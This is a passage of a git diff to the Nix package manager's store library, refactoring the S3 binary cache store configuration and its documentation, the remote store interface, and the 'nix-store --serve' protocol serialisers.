querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos) override; - /* Add a content-addressable store path. `dump` will be drained. */ + /** + * Add a content-addressable store path. `dump` will be drained. + */ ref addCAToStore( + Source & dump, + std::string_view name, + ContentAddressMethod caMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair); + + /** + * Add a content-addressable store path. `dump` will be drained. + */ + StorePath addToStoreFromDump( Source & dump, std::string_view name, - ContentAddressMethod caMethod, - const StorePathSet & references, - RepairFlag repair); - - /* Add a content-addressable store path. Does not support references. `dump` will be drained. */ - StorePath addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method = FileIngestionMethod::Recursive, HashType hashAlgo = htSHA256, RepairFlag repair = NoRepair, const StorePathSet & references = StorePathSet()) override; + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), + RepairFlag repair = NoRepair) override; void addToStore(const ValidPathInfo & info, Source & nar, RepairFlag repair, CheckSigsFlag checkSigs) override; @@ -94,12 +107,6 @@ public: RepairFlag repair, CheckSigsFlag checkSigs) override; - StorePath addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) override; - void registerDrvOutput(const Realisation & info) override; void queryRealisationUncached(const DrvOutput &, @@ -107,7 +114,7 @@ public: void buildPaths(const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) override; - std::vector buildPathsWithResults( + std::vector buildPathsWithResults( const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) override; @@ -119,8 +126,6 @@ public: void addTempRoot(const StorePath & path) override; - void addIndirectRoot(const Path & path) override; - Roots findRoots(bool censor) override; void collectGarbage(const GCOptions & options, GCResults & results) override; @@ -129,6 +134,17 @@ public: bool verifyStore(bool checkContents, RepairFlag repair) override; + /** + * The default instance would schedule the work on the client side, but + * for consistency with `buildPaths` and `buildDerivation` it should happen + * on the remote side. + * + * We make this fail for now so we can add implement this properly later + * without it being a breaking change. + */ + void repairPath(const StorePath & path) override + { unsupported("repairPath"); } + void addSignatures(const StorePath & storePath, const StringSet & sigs) override; void queryMissing(const std::vector & targets, @@ -143,22 +159,11 @@ public: unsigned int getProtocol() override; + std::optional isTrustedClient() override; + void flushBadConnections(); - struct Connection - { - FdSink to; - FdSource from; - unsigned int daemonVersion; - std::optional daemonNixVersion; - std::chrono::time_point startTime; - - virtual ~Connection(); - - virtual void closeWrite() = 0; - - std::exception_ptr processStderr(Sink * sink = 0, Source * source = 0, bool flush = true); - }; + struct Connection; ref openConnectionWrapper(); @@ -174,11 +179,13 @@ protected: void setOptions() override; + struct ConnectionHandle; + ConnectionHandle getConnection(); friend struct ConnectionHandle; - virtual ref getFSAccessor() override; + virtual ref getFSAccessor(bool requireValidPath = true) override; virtual void narFromPath(const StorePath & path, Sink & sink) override; @@ -191,5 +198,4 @@ private: std::shared_ptr evalStore); }; - } diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 844553ad3..21175b1eb 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -1,5 +1,7 @@ #if ENABLE_S3 +#include + #include "s3.hh" #include "s3-binary-cache-store.hh" #include "nar-info.hh" @@ -40,12 +42,12 @@ struct S3Error : public Error /* Helper: given an Outcome, return R in case of success, or throw an exception in case of an error. */ template -R && checkAws(const FormatOrString & fs, Aws::Utils::Outcome && outcome) +R && checkAws(std::string_view s, Aws::Utils::Outcome && outcome) { if (!outcome.IsSuccess()) throw S3Error( outcome.GetError().GetErrorType(), - fs.s + ": " + outcome.GetError().GetMessage()); + s + ": " + outcome.GetError().GetMessage()); return outcome.GetResultWithOwnership(); } @@ -58,7 +60,7 @@ class AwsLogger : public Aws::Utils::Logging::FormattedLogSystem debug("AWS: %s", chomp(statement)); } -#if !(AWS_VERSION_MAJOR <= 1 && AWS_VERSION_MINOR <= 7 && AWS_VERSION_PATCH <= 115) +#if !(AWS_SDK_VERSION_MAJOR <= 1 && AWS_SDK_VERSION_MINOR <= 7 && AWS_SDK_VERSION_PATCH <= 115) void Flush() override {} #endif }; @@ -101,7 +103,7 @@ S3Helper::S3Helper( std::make_shared(profile.c_str())), *config, // FIXME: https://github.com/aws/aws-sdk-cpp/issues/759 -#if AWS_VERSION_MAJOR == 1 && AWS_VERSION_MINOR < 3 +#if AWS_SDK_VERSION_MAJOR == 1 && AWS_SDK_VERSION_MINOR < 3 false, #else Aws::Client::AWSAuthV4Signer::PayloadSigningPolicy::Never, @@ -132,6 +134,7 @@ ref S3Helper::makeConfig( { initAWS(); auto res = make_ref(); + res->allowSystemProxy = true; res->region = region; if (!scheme.empty()) { res->scheme = Aws::Http::SchemeMapper::FromString(scheme.c_str()); @@ -189,43 +192,48 @@ S3BinaryCacheStore::S3BinaryCacheStore(const Params & params) , BinaryCacheStore(params) { } -struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig -{ - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; - const Setting profile{(StoreConfig*) this, "", "profile", "The name of the AWS configuration profile to use."}; - const Setting region{(StoreConfig*) this, Aws::Region::US_EAST_1, "region", {"aws-region"}}; - const Setting scheme{(StoreConfig*) this, "", "scheme", "The scheme to use for S3 requests, https by default."}; - const Setting endpoint{(StoreConfig*) this, "", "endpoint", "An optional override of the endpoint to use when talking to S3."}; - const Setting narinfoCompression{(StoreConfig*) this, "", "narinfo-compression", "compression method for .narinfo files"}; - const Setting lsCompression{(StoreConfig*) this, "", "ls-compression", "compression method for .ls files"}; - const Setting logCompression{(StoreConfig*) this, "", "log-compression", "compression method for log/* files"}; - const Setting multipartUpload{ - (StoreConfig*) this, false, "multipart-upload", "whether to use multi-part uploads"}; - const Setting bufferSize{ - (StoreConfig*) this, 5 * 1024 * 1024, "buffer-size", "size (in bytes) of each part in multi-part uploads"}; - const std::string name() override { return "S3 Binary Cache Store"; } -}; +S3BinaryCacheStoreConfig::S3BinaryCacheStoreConfig( + std::string_view uriScheme, + std::string_view bucketName, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , bucketName(bucketName) +{ + // Don't want to use use AWS SDK in header, so we check the default + // here. TODO do this better after we overhaul the store settings + // system. + assert(std::string{defaultRegion} == std::string{Aws::Region::US_EAST_1}); + + if (bucketName.empty()) + throw UsageError("`%s` store requires a bucket name in its Store URI", uriScheme); +} + +std::string S3BinaryCacheStoreConfig::doc() +{ + return + #include "s3-binary-cache-store.md" + ; +} + struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual S3BinaryCacheStore { - std::string bucketName; - Stats stats; S3Helper s3Helper; S3BinaryCacheStoreImpl( - const std::string & uriScheme, - const std::string & bucketName, + std::string_view uriScheme, + std::string_view bucketName, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , S3BinaryCacheStoreConfig(params) + , S3BinaryCacheStoreConfig(uriScheme, bucketName, params) , Store(params) , BinaryCacheStore(params) , S3BinaryCacheStore(params) - , bucketName(bucketName) , s3Helper(profile, region, scheme, endpoint) { diskCache = getNarInfoDiskCache(); @@ -238,7 +246,7 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual void init() override { - if (auto cacheInfo = diskCache->cacheExists(getUri())) { + if (auto cacheInfo = diskCache->upToDateCacheExists(getUri())) { wantMassQuery.setDefault(cacheInfo->wantMassQuery); priority.setDefault(cacheInfo->priority); } else { @@ -430,9 +438,9 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual std::string marker; do { - debug(format("listing bucket 's3://%s' from key '%s'...") % bucketName % marker); + debug("listing bucket 's3://%s' from key '%s'...", bucketName, marker); - auto res = checkAws(format("AWS error listing bucket '%s'") % bucketName, + auto res = checkAws(fmt("AWS error listing bucket '%s'", bucketName), s3Helper.client->ListObjects( Aws::S3::Model::ListObjectsRequest() .WithBucket(bucketName) @@ -441,8 +449,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual auto & contents = res.GetContents(); - debug(format("got %d keys, next marker '%s'") - % contents.size() % res.GetNextMarker()); + debug("got %d keys, next marker '%s'", + contents.size(), res.GetNextMarker()); for (auto object : contents) { auto & key = object.GetKey(); @@ -456,8 +464,15 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual return paths; } - static std::set uriSchemes() { return {"s3"}; } - + /** + * For now, we conservatively say we don't know. + * + * \todo try to expose our S3 authentication status. + */ + std::optional isTrustedClient() override + { + return std::nullopt; + } }; static RegisterStoreImplementation regS3BinaryCacheStore; diff --git a/src/libstore/s3-binary-cache-store.hh b/src/libstore/s3-binary-cache-store.hh index bce828b11..7d303a115 100644 --- a/src/libstore/s3-binary-cache-store.hh +++ b/src/libstore/s3-binary-cache-store.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "binary-cache-store.hh" @@ -6,6 +7,101 @@ namespace nix { +struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + std::string bucketName; + + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + S3BinaryCacheStoreConfig(std::string_view uriScheme, std::string_view bucketName, const Params & params); + + const Setting profile{ + this, + "", + "profile", + R"( + The name of the AWS configuration profile to use. By default + Nix will use the `default` profile. + )"}; + +protected: + + constexpr static const char * defaultRegion = "us-east-1"; + +public: + + const Setting region{ + this, + defaultRegion, + "region", + R"( + The region of the S3 bucket. If your bucket is not in + `us–east-1`, you should always explicitly specify the region + parameter. + )"}; + + const Setting scheme{ + this, + "", + "scheme", + R"( + The scheme used for S3 requests, `https` (default) or `http`. This + option allows you to disable HTTPS for binary caches which don't + support it. + + > **Note** + > + > HTTPS should be used if the cache might contain sensitive + > information. + )"}; + + const Setting endpoint{ + this, + "", + "endpoint", + R"( + The URL of the endpoint of an S3-compatible service such as MinIO. + Do not specify this setting if you're using Amazon S3. + + > **Note** + > + > This endpoint must support HTTPS and will use path-based + > addressing instead of virtual host based addressing. + )"}; + + const Setting narinfoCompression{ + this, "", "narinfo-compression", "Compression method for `.narinfo` files."}; + + const Setting lsCompression{this, "", "ls-compression", "Compression method for `.ls` files."}; + + const Setting logCompression{ + this, + "", + "log-compression", + R"( + Compression method for `log/*` files. It is recommended to + use a compression method supported by most web browsers + (e.g. `brotli`). + )"}; + + const Setting multipartUpload{this, false, "multipart-upload", "Whether to use multi-part uploads."}; + + const Setting bufferSize{ + this, 5 * 1024 * 1024, "buffer-size", "Size (in bytes) of each part in multi-part uploads."}; + + const std::string name() override + { + return "S3 Binary Cache Store"; + } + + static std::set uriSchemes() + { + return {"s3"}; + } + + std::string doc() override; +}; + class S3BinaryCacheStore : public virtual BinaryCacheStore { protected: diff --git a/src/libstore/s3-binary-cache-store.md b/src/libstore/s3-binary-cache-store.md new file mode 100644 index 000000000..675470261 --- /dev/null +++ b/src/libstore/s3-binary-cache-store.md @@ -0,0 +1,104 @@ +R"( + +**Store URL format**: `s3://`*bucket-name* + +This store allows reading and writing a binary cache stored in an AWS S3 (or S3-compatible service) bucket. +This store shares many idioms with the [HTTP Binary Cache Store](#http-binary-cache-store). + +For AWS S3, the binary cache URL for a bucket named `example-nix-cache` will be exactly . +For S3 compatible binary caches, consult that cache's documentation. + +### Anonymous reads to your S3-compatible binary cache + +> If your binary cache is publicly accessible and does not require authentication, +> it is simplest to use the [HTTP Binary Cache Store] rather than S3 Binary Cache Store with +> instead of . + +Your bucket will need a +[bucket policy](https://docs.aws.amazon.com/AmazonS3/v1/userguide/bucket-policies.html) +like the following to be accessible: + +```json +{ + "Id": "DirectReads", + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AllowDirectReads", + "Action": [ + "s3:GetObject", + "s3:GetBucketLocation" + ], + "Effect": "Allow", + "Resource": [ + "arn:aws:s3:::example-nix-cache", + "arn:aws:s3:::example-nix-cache/*" + ], + "Principal": "*" + } + ] +} +``` + +### Authentication + +Nix will use the +[default credential provider chain](https://docs.aws.amazon.com/sdk-for-cpp/v1/developer-guide/credentials.html) +for authenticating requests to Amazon S3. + +Note that this means Nix will read environment variables and files with different idioms than with Nix's own settings, as implemented by the AWS SDK. +Consult the documentation linked above for further details. + +### Authenticated reads to your S3 binary cache + +Your bucket will need a bucket policy allowing the desired users to perform the `s3:GetObject` and `s3:GetBucketLocation` action on all objects in the bucket. +The [anonymous policy given above](#anonymous-reads-to-your-s3-compatible-binary-cache) can be updated to have a restricted `Principal` to support this. + +### Authenticated writes to your S3-compatible binary cache + +Your account will need an IAM policy to support uploading to the bucket: + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "UploadToCache", + "Effect": "Allow", + "Action": [ + "s3:AbortMultipartUpload", + "s3:GetBucketLocation", + "s3:GetObject", + "s3:ListBucket", + "s3:ListBucketMultipartUploads", + "s3:ListMultipartUploadParts", + "s3:PutObject" + ], + "Resource": [ + "arn:aws:s3:::example-nix-cache", + "arn:aws:s3:::example-nix-cache/*" + ] + } + ] +} +``` + +### Examples + +With bucket policies and authentication set up as described above, uploading works via [`nix copy`](@docroot@/command-ref/new-cli/nix3-copy.md) (experimental). + +- To upload with a specific credential profile for Amazon S3: + + ```console + $ nix copy nixpkgs.hello \ + --to 's3://example-nix-cache?profile=cache-upload®ion=eu-west-2' + ``` + +- To upload to an S3-compatible binary cache: + + ```console + $ nix copy nixpkgs.hello --to \ + 's3://example-nix-cache?profile=cache-upload&scheme=https&endpoint=minio.example.com' + ``` + +)" diff --git a/src/libstore/s3.hh b/src/libstore/s3.hh index cdb3e5908..18de115ae 100644 --- a/src/libstore/s3.hh +++ b/src/libstore/s3.hh @@ -1,4 +1,5 @@ #pragma once +///@file #if ENABLE_S3 @@ -7,7 +8,7 @@ #include #include -namespace Aws { namespace Client { class ClientConfiguration; } } +namespace Aws { namespace Client { struct ClientConfiguration; } } namespace Aws { namespace S3 { class S3Client; } } namespace nix { diff --git a/src/libstore/serve-protocol-connection.cc b/src/libstore/serve-protocol-connection.cc new file mode 100644 index 000000000..07379999b --- /dev/null +++ b/src/libstore/serve-protocol-connection.cc @@ -0,0 +1,106 @@ +#include "serve-protocol-connection.hh" +#include "serve-protocol-impl.hh" +#include "build-result.hh" +#include "derivations.hh" + +namespace nix { + +ServeProto::Version ServeProto::BasicClientConnection::handshake( + BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host) +{ + to << SERVE_MAGIC_1 << localVersion; + to.flush(); + + unsigned int magic = readInt(from); + if (magic != SERVE_MAGIC_2) + throw Error("'nix-store --serve' protocol mismatch from '%s'", host); + auto remoteVersion = readInt(from); + if (GET_PROTOCOL_MAJOR(remoteVersion) != 0x200) + throw Error("unsupported 'nix-store --serve' protocol version on '%s'", host); + return std::min(remoteVersion, localVersion); +} + +ServeProto::Version +ServeProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion) +{ + unsigned int magic = readInt(from); + if (magic != SERVE_MAGIC_1) + throw Error("protocol mismatch"); + to << SERVE_MAGIC_2 << localVersion; + to.flush(); + auto remoteVersion = readInt(from); + return std::min(remoteVersion, localVersion); +} + +StorePathSet ServeProto::BasicClientConnection::queryValidPaths( + const StoreDirConfig & store, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute) +{ + to << ServeProto::Command::QueryValidPaths << lock << maybeSubstitute; + write(store, *this, paths); + to.flush(); + + return Serialise::read(store, *this); +} + +std::map +ServeProto::BasicClientConnection::queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths) +{ + std::map infos; + + to << ServeProto::Command::QueryPathInfos; + ServeProto::write(store, *this, paths); + to.flush(); + + while (true) { + auto storePathS = readString(from); + if (storePathS == "") + break; + + auto storePath = store.parseStorePath(storePathS); + assert(paths.count(storePath) == 1); + auto info = ServeProto::Serialise::read(store, *this); + infos.insert_or_assign(std::move(storePath), std::move(info)); + } + + return infos; +} + +void ServeProto::BasicClientConnection::putBuildDerivationRequest( + const StoreDirConfig & store, + const StorePath & drvPath, + const BasicDerivation & drv, + const ServeProto::BuildOptions & options) +{ + to << ServeProto::Command::BuildDerivation << store.printStorePath(drvPath); + writeDerivation(to, store, drv); + + ServeProto::write(store, *this, options); + + to.flush(); +} + +BuildResult ServeProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store) +{ + return ServeProto::Serialise::read(store, *this); +} + +void ServeProto::BasicClientConnection::narFromPath( + const StoreDirConfig & store, const StorePath & path, std::function fun) +{ + to << ServeProto::Command::DumpStorePath << store.printStorePath(path); + to.flush(); + + fun(from); +} + +void ServeProto::BasicClientConnection::importPaths(const StoreDirConfig & store, std::function fun) +{ + to << ServeProto::Command::ImportPaths; + fun(to); + to.flush(); + + if (readInt(from) != 1) + throw Error("remote machine failed to import closure"); +} + +} diff --git a/src/libstore/serve-protocol-connection.hh b/src/libstore/serve-protocol-connection.hh new file mode 100644 index 000000000..73bf71443 --- /dev/null +++ b/src/libstore/serve-protocol-connection.hh @@ -0,0 +1,108 @@ +#pragma once +///@file + +#include "serve-protocol.hh" +#include "store-api.hh" + +namespace nix { + +struct ServeProto::BasicClientConnection +{ + FdSink to; + FdSource from; + ServeProto::Version remoteVersion; + + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + * + * @param host Just used to add context to thrown exceptions. + */ + static ServeProto::Version + handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host); + + /** + * Coercion to `ServeProto::ReadConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator ServeProto::ReadConn() + { + return ServeProto::ReadConn{ + .from = from, + .version = remoteVersion, + }; + } + + /** + * Coercion to `ServeProto::WriteConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator ServeProto::WriteConn() + { + return ServeProto::WriteConn{ + .to = to, + .version = remoteVersion, + }; + } + + StorePathSet queryValidPaths( + const StoreDirConfig & remoteStore, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute); + + std::map queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths); + ; + + void putBuildDerivationRequest( + const StoreDirConfig & store, + const StorePath & drvPath, + const BasicDerivation & drv, + const ServeProto::BuildOptions & options); + + /** + * Get the response, must be paired with + * `putBuildDerivationRequest`. + */ + BuildResult getBuildDerivationResponse(const StoreDirConfig & store); + + void narFromPath(const StoreDirConfig & store, const StorePath & path, std::function fun); + + void importPaths(const StoreDirConfig & store, std::function fun); +}; + +struct ServeProto::BasicServerConnection +{ + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + */ + static ServeProto::Version handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion); +}; + +} diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh new file mode 100644 index 000000000..6f3b177ac --- /dev/null +++ b/src/libstore/serve-protocol-impl.hh @@ -0,0 +1,59 @@ +#pragma once +/** + * @file + * + * Template implementations (as opposed to mere declarations). + * + * This file is an exmample of the "impl.hh" pattern. See the + * contributing guide. + */ + +#include "serve-protocol.hh" +#include "length-prefixed-protocol-helper.hh" + +namespace nix { + +/* protocol-agnostic templates */ + +#define SERVE_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T ServeProto::Serialise< T >::read(const StoreDirConfig & store, ServeProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void ServeProto::Serialise< T >::write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ + } + +SERVE_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) +SERVE_USE_LENGTH_PREFIX_SERIALISER(template, std::set) +SERVE_USE_LENGTH_PREFIX_SERIALISER(template, std::tuple) + +#define COMMA_ , +SERVE_USE_LENGTH_PREFIX_SERIALISER( + template, + std::map) +#undef COMMA_ + +/** + * Use `CommonProto` where possible. + */ +template +struct ServeProto::Serialise +{ + static T read(const StoreDirConfig & store, ServeProto::ReadConn conn) + { + return CommonProto::Serialise::read(store, + CommonProto::ReadConn { .from = conn.from }); + } + static void write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t) + { + CommonProto::Serialise::write(store, + CommonProto::WriteConn { .to = conn.to }, + t); + } +}; + +/* protocol-specific templates */ + +} diff --git a/src/libstore/serve-protocol.cc b/src/libstore/serve-protocol.cc new file mode 100644 index 000000000..08bfad9e4 --- /dev/null +++ b/src/libstore/serve-protocol.cc @@ -0,0 +1,137 @@ +#include "serialise.hh" +#include "path-with-outputs.hh" +#include "store-api.hh" +#include "build-result.hh" +#include "serve-protocol.hh" +#include "serve-protocol-impl.hh" +#include "archive.hh" +#include "path-info.hh" + +#include + +namespace nix { + +/* protocol-specific definitions */ + +BuildResult ServeProto::Serialise::read(const StoreDirConfig & store, ServeProto::ReadConn conn) +{ + BuildResult status; + status.status = (BuildResult::Status) readInt(conn.from); + conn.from >> status.errorMsg; + + if (GET_PROTOCOL_MINOR(conn.version) >= 3) + conn.from + >> status.timesBuilt + >> status.isNonDeterministic + >> status.startTime + >> status.stopTime; + if (GET_PROTOCOL_MINOR(conn.version) >= 6) { + auto builtOutputs = ServeProto::Serialise::read(store, conn); + for (auto && [output, realisation] : builtOutputs) + status.builtOutputs.insert_or_assign( + std::move(output.outputName), + std::move(realisation)); + } + return status; +} + +void ServeProto::Serialise::write(const StoreDirConfig & store, ServeProto::WriteConn conn, const BuildResult & status) +{ + conn.to + << status.status + << status.errorMsg; + + if (GET_PROTOCOL_MINOR(conn.version) >= 3) + conn.to + << status.timesBuilt + << status.isNonDeterministic + << status.startTime + << status.stopTime; + if (GET_PROTOCOL_MINOR(conn.version) >= 6) { + DrvOutputs builtOutputs; + for (auto & [output, realisation] : status.builtOutputs) + builtOutputs.insert_or_assign(realisation.id, realisation); + ServeProto::write(store, conn, builtOutputs); + } +} + + +UnkeyedValidPathInfo ServeProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + /* Hash should be set below unless very old `nix-store --serve`. + Caller should assert that it did set it. */ + UnkeyedValidPathInfo info { Hash::dummy }; + + auto deriver = readString(conn.from); + if (deriver != "") + info.deriver = store.parseStorePath(deriver); + info.references = ServeProto::Serialise::read(store, conn); + + readLongLong(conn.from); // download size, unused + info.narSize = readLongLong(conn.from); + + if (GET_PROTOCOL_MINOR(conn.version) >= 4) { + auto s = readString(conn.from); + if (!s.empty()) + info.narHash = Hash::parseAnyPrefixed(s); + info.ca = ContentAddress::parseOpt(readString(conn.from)); + info.sigs = readStrings(conn.from); + } + + return info; +} + +void ServeProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & info) +{ + conn.to + << (info.deriver ? store.printStorePath(*info.deriver) : ""); + + ServeProto::write(store, conn, info.references); + // !!! Maybe we want compression? + conn.to + << info.narSize // downloadSize, lie a little + << info.narSize; + if (GET_PROTOCOL_MINOR(conn.version) >= 4) + conn.to + << info.narHash.to_string(HashFormat::Nix32, true) + << renderContentAddress(info.ca) + << info.sigs; +} + + +ServeProto::BuildOptions ServeProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + BuildOptions options; + options.maxSilentTime = readInt(conn.from); + options.buildTimeout = readInt(conn.from); + if (GET_PROTOCOL_MINOR(conn.version) >= 2) + options.maxLogSize = readNum(conn.from); + if (GET_PROTOCOL_MINOR(conn.version) >= 3) { + options.nrRepeats = readInt(conn.from); + options.enforceDeterminism = readInt(conn.from); + } + if (GET_PROTOCOL_MINOR(conn.version) >= 7) { + options.keepFailed = (bool) readInt(conn.from); + } + return options; +} + +void ServeProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const ServeProto::BuildOptions & options) +{ + conn.to + << options.maxSilentTime + << options.buildTimeout; + if (GET_PROTOCOL_MINOR(conn.version) >= 2) + conn.to + << options.maxLogSize; + if (GET_PROTOCOL_MINOR(conn.version) >= 3) + conn.to + << options.nrRepeats + << options.enforceDeterminism; + + if (GET_PROTOCOL_MINOR(conn.version) >= 7) { + conn.to << ((int) options.keepFailed); + } +} + +} diff --git a/src/libstore/serve-protocol.hh b/src/libstore/serve-protocol.hh index 3f76baa82..8c112bb74 100644 --- a/src/libstore/serve-protocol.hh +++ b/src/libstore/serve-protocol.hh @@ -1,4 +1,7 @@ #pragma once +///@file + +#include "common-protocol.hh" namespace nix { @@ -9,16 +12,182 @@ namespace nix { #define GET_PROTOCOL_MAJOR(x) ((x) & 0xff00) #define GET_PROTOCOL_MINOR(x) ((x) & 0x00ff) -typedef enum { - cmdQueryValidPaths = 1, - cmdQueryPathInfos = 2, - cmdDumpStorePath = 3, - cmdImportPaths = 4, - cmdExportPaths = 5, - cmdBuildPaths = 6, - cmdQueryClosure = 7, - cmdBuildDerivation = 8, - cmdAddToStoreNar = 9, -} ServeCommand; + +struct StoreDirConfig; +struct Source; + +// items being serialised +struct BuildResult; +struct UnkeyedValidPathInfo; + + +/** + * The "serve protocol", used by ssh:// stores. + * + * This `struct` is basically just a `namespace`; We use a type rather + * than a namespace just so we can use it as a template argument. + */ +struct ServeProto +{ + /** + * Enumeration of all the request types for the protocol. + */ + enum struct Command : uint64_t; + + /** + * Version type for the protocol. + * + * @todo Convert to struct with separate major vs minor fields. + */ + using Version = unsigned int; + + /** + * A unidirectional read connection, to be used by the read half of the + * canonical serializers below. + */ + struct ReadConn { + Source & from; + Version version; + }; + + /** + * A unidirectional write connection, to be used by the write half of the + * canonical serializers below. + */ + struct WriteConn { + Sink & to; + Version version; + }; + + /** + * Stripped down serialization logic suitable for sharing with Hydra. + * + * @todo remove once Hydra uses Store abstraction consistently. + */ + struct BasicClientConnection; + struct BasicServerConnection; + + /** + * Data type for canonical pairs of serialisers for the serve protocol. + * + * See https://en.cppreference.com/w/cpp/language/adl for the broader + * concept of what is going on here. + */ + template + struct Serialise; + // This is the definition of `Serialise` we *want* to put here, but + // do not do so. + // + // See `worker-protocol.hh` for a longer explanation. +#if 0 + { + static T read(const StoreDirConfig & store, ReadConn conn); + static void write(const StoreDirConfig & store, WriteConn conn, const T & t); + }; +#endif + + /** + * Wrapper function around `ServeProto::Serialise::write` that allows us to + * infer the type instead of having to write it down explicitly. + */ + template + static void write(const StoreDirConfig & store, WriteConn conn, const T & t) + { + ServeProto::Serialise::write(store, conn, t); + } + + /** + * Options for building shared between + * `ServeProto::Command::BuildPaths` and + * `ServeProto::Command::BuildDerivation`. + */ + struct BuildOptions; +}; + +enum struct ServeProto::Command : uint64_t +{ + QueryValidPaths = 1, + QueryPathInfos = 2, + DumpStorePath = 3, + ImportPaths = 4, + ExportPaths = 5, + BuildPaths = 6, + QueryClosure = 7, + BuildDerivation = 8, + AddToStoreNar = 9, +}; + + +struct ServeProto::BuildOptions { + /** + * Default value in this and every other field is so tests pass when + * testing older deserialisers which do not set all the fields. + */ + time_t maxSilentTime = -1; + time_t buildTimeout = -1; + size_t maxLogSize = -1; + size_t nrRepeats = -1; + bool enforceDeterminism = -1; + bool keepFailed = -1; + + bool operator == (const ServeProto::BuildOptions &) const = default; +}; + +/** + * Convenience for sending operation codes. + * + * @todo Switch to using `ServeProto::Serialize` instead probably. But + * this was not done at this time so there would be less churn. + */ +inline Sink & operator << (Sink & sink, ServeProto::Command op) +{ + return sink << (uint64_t) op; +} + +/** + * Convenience for debugging. + * + * @todo Perhaps render known opcodes more nicely. + */ +inline std::ostream & operator << (std::ostream & s, ServeProto::Command op) +{ + return s << (uint64_t) op; +} + +/** + * Declare a canonical serialiser pair for the worker protocol. + * + * We specialise the struct merely to indicate that we are implementing + * the function for the given type. + * + * Some sort of `template<...>` must be used with the caller for this to + * be legal specialization syntax. See below for what that looks like in + * practice. + */ +#define DECLARE_SERVE_SERIALISER(T) \ + struct ServeProto::Serialise< T > \ + { \ + static T read(const StoreDirConfig & store, ServeProto::ReadConn conn); \ + static void write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t); \ + }; + +template<> +DECLARE_SERVE_SERIALISER(BuildResult); +template<> +DECLARE_SERVE_SERIALISER(UnkeyedValidPathInfo); +template<> +DECLARE_SERVE_SERIALISER(ServeProto::BuildOptions); + +template +DECLARE_SERVE_SERIALISER(std::vector); +template +DECLARE_SERVE_SERIALISER(std::set); +template +DECLARE_SERVE_SERIALISER(std::tuple); + +#define COMMA_ , +template +DECLARE_SERVE_SERIALISER(std::map); +#undef COMMA_ } diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index 6c350888f..3175c1978 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -1,26 +1,29 @@ #include "sqlite.hh" #include "globals.hh" #include "util.hh" +#include "url.hh" +#include "signals.hh" #include #include +#include namespace nix { -SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, hintformat && hf) +SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf) : Error(""), path(path), errMsg(errMsg), errNo(errNo), extendedErrNo(extendedErrNo), offset(offset) { auto offsetStr = (offset == -1) 